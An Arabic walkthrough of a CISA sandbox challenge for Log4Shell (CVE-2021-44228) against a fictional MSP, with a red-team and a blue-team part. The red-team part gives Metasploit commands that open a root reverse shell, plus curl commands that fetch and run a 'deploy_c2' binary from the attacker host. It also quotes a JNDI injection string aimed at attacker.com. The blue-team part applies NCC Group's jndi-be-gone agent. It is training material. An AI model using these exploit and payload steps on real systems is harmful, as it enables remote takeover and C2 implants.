
شرح خطوة بخطوة لتحدي CISA Log4Shell sandbox، يغطي الاستغلال الهجومي عبر Metasploit والتخفيف الدفاعي باستخدام وكيل JNDI-be-gone Java.
توثق هذه الجولة التفصيلية الخطوات المتخذة لإكمال تحدي صندوق الحماية التابع لوكالة الأمن السيبراني وأمن البنية التحتية (CISA) لـ CVE-2021-44228، المعروف باسم Log4Shell. تضمن التحدي إكمال هدفين — أحدهما للفريق الأحمر (هجومي) والآخر للفريق الأزرق (دفاعي) — ضد مزود خدمة مُدارة (MSP) خيالي يُدعى DasMSP داخل بيئة صندوق حماية معزولة.
ملاحظة: تعكس الأوامر ومسارات الملفات في هذه الجولة الخطوات المحددة التي تم اتخاذها في هذه البيئة. قد تختلف بيئتك، بما في ذلك عناوين IP ومواقع الملفات وتوفر الأدوات. قم بتكييف الأوامر حسب الحاجة لتكوينك.
CVE-2021-44228 هي ثغرة أمنية حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) (CVSS 10.0) تؤثر على إصدارات محددة من إطار تسجيل Java الخاص بـ Apache Log4j. تنشأ الثغرة الأمنية من ميزة بحث JNDI في Log4j، والتي يمكن تفعيلها عن طريق حقن سلسلة معدّة خصيصًا مثل ${jndi:ldap://attacker.com/exploit} في أي بيانات يقوم Log4j بتسجيلها. إذا تمكن المهاجم من جعل تطبيق ضعيف يسجل سلسلة خبيثة — عادةً عبر رؤوس HTTP — فسيتصل Log4j بالخادم الذي يتحكم به المهاجم وينفذ تعليمات برمجية عشوائية.
تمت إضافة Log4Shell إلى كتالوج الثغرات الأمنية المستغلة المعروفة (KEV) الخاص بـ CISA في 10 ديسمبر 2021، وظهر في التحذيرات المشتركة لأكثر الثغرات الأمنية استغلالًا بشكل روتيني لكل من عامي 2021 و2022.
| الجهاز | عنوان IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Red Target | <Red-Target-IP> |
| Blue Target | <Blue-Target-IP> |
كلا النظامين المستهدفين يعملان بنظام Linux ويشغلان تطبيق ويب Java ضعيفًا (dasmsp.jar) باستخدام إصدار متأثر من Log4j.
exploit/multi/http/log4shell_header_injection)تم فتح محطة طرفية على جهاز Security-Desk وتشغيل Metasploit:
msfconsole
لم يتطابق مسار الوحدة المقدم في الإحاطة مع الإصدار المثبت. تم البحث عن الوحدة الصحيحة:
search log4shell
تم تحديد الوحدة الصحيحة: exploit/multi/http/log4shell_header_injection.
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
قام Metasploit تلقائيًا باختبار رؤوس HTTP متعددة للثغرة الأمنية Log4Shell. تم تأكيد أن الهدف الأحمر ضعيف عبر رؤوس متعددة (Authorization، Cache-Control، User-Agent، X-Forwarded-For، وغيرها). تم فتح جلسة شل أوامر للهدف الأحمر.
تم تأكيد الوصول على مستوى الجذر على الهدف الأحمر:
id
الإخراج: uid=0(root) gid=0(root) groups=0(root)
كان الملف الثنائي deploy_c2 موجودًا على جهاز Security-Desk، وليس على الهدف الأحمر. لم تتوفر wget ولا مسار مرجعي مباشر على الهدف. تم فتح محطة طرفية ثانية على Security-Desk وتقديم الملف عبر Python:
cd ~/Desktop/Resources
python3 -m http.server 8080
بالعودة إلى جلسة شل Metasploit على الهدف الأحمر، تم تنزيل الملف الثنائي وتنفيذه:
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
الإخراج: Done!
✅ تم نشر مستمع C2 على الهدف الأحمر تم تأكيد التحقق.
طريقة التخفيف المستخدمة هي وكيل Java log4j-jndi-be-gone-standalone.jar الذي طورته مجموعة NCC، والذي يقوم بتصحيح سلوك بحث JNDI في وقت التشغيل دون الحاجة إلى تصحيح التطبيق الأساسي. يمكن العثور على تفاصيل حول هذا الوكيل في مدونة أبحاث NCC Group.
من محطة طرفية Security-Desk، تم استخدام SCP لنقل ملف JAR الخاص بالوكيل:
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
تم تحديد سطر ExecStart وإضافة علامة -javaagent:
قبل:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
بعد:
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
تم الحفظ باستخدام Ctrl+O → Enter → Ctrl+X.
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ تم تخفيف CVE-2021-44228 على الهدف الأزرق تم تأكيد التحقق.